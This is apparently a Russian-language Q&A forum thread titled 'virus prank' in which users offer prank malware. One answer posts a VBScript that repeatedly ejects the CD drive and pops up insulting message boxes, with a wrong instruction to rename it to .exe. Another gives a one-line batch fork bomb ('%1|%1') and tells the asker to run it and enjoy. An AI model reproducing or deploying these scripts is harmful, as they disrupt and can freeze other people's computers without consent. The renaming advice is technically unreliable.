вирус прикол

Ответ от Pitbull89[гуру]
Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count Then
For i = 0 To mechaniky.Count - 1
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
msgbox "Сорри за дисковод просто проверил хД"
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "Ты даун? ",0, "Вопросик",4+16
i=i-1
wend
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "Ах значит нет хД",0, "Вопросик",0+0
i=i-1
wend
msgbox "тогда здохни на"
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
msgbox "нравиться? xD"
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
msgbox "ещё раз? ок"
mechaniky.Item(i).Eject
msgbox "ща мне лень закрывать закрой сам дисковод ))"
msgbox "ну чо закрыл ?"
msgbox "Если лень закрывать давай я сам"
mechaniky.Item(i).Eject
msgbox "Если у тебя он щас закрылся всё нормально если нет то закрой ))"
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
msgbox "скажи пасиб я его закрыл ))"
msgbox "ну ладн я от тебя оцтану токо ща пага"
mechaniky.Item(i).Eject
msgbox "Паг не закрывай дай позырить"
msgbox "Ага"
msgbox "не интересно (((("
mechaniky.Item(i).Eject
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "Оцтать? ",0, "Вопросик",4+16
i=i-1
wend
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
i=1
while i>0 or i<0
S.popup "ну ладн ок я пошёл ок? ",0, "Вопросик",0+0
i=i-1
wend
msgbox "давай пока Но токо попробуй меня удалить а то я к тебе вернусь "
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
msgbox "это я те так для прафилактики"
Next
End If
это всё в блокнот копируешь и меняешь разрешение на .ехе

Ответ от И.А. Голованов[гуру]
вбей в бат-файл одну строчку
%1|%1
Запусти батник и радуйся

Ответ от Јкола Начальная[активный]
а что за радость

Ответ от 3 ответа[гуру]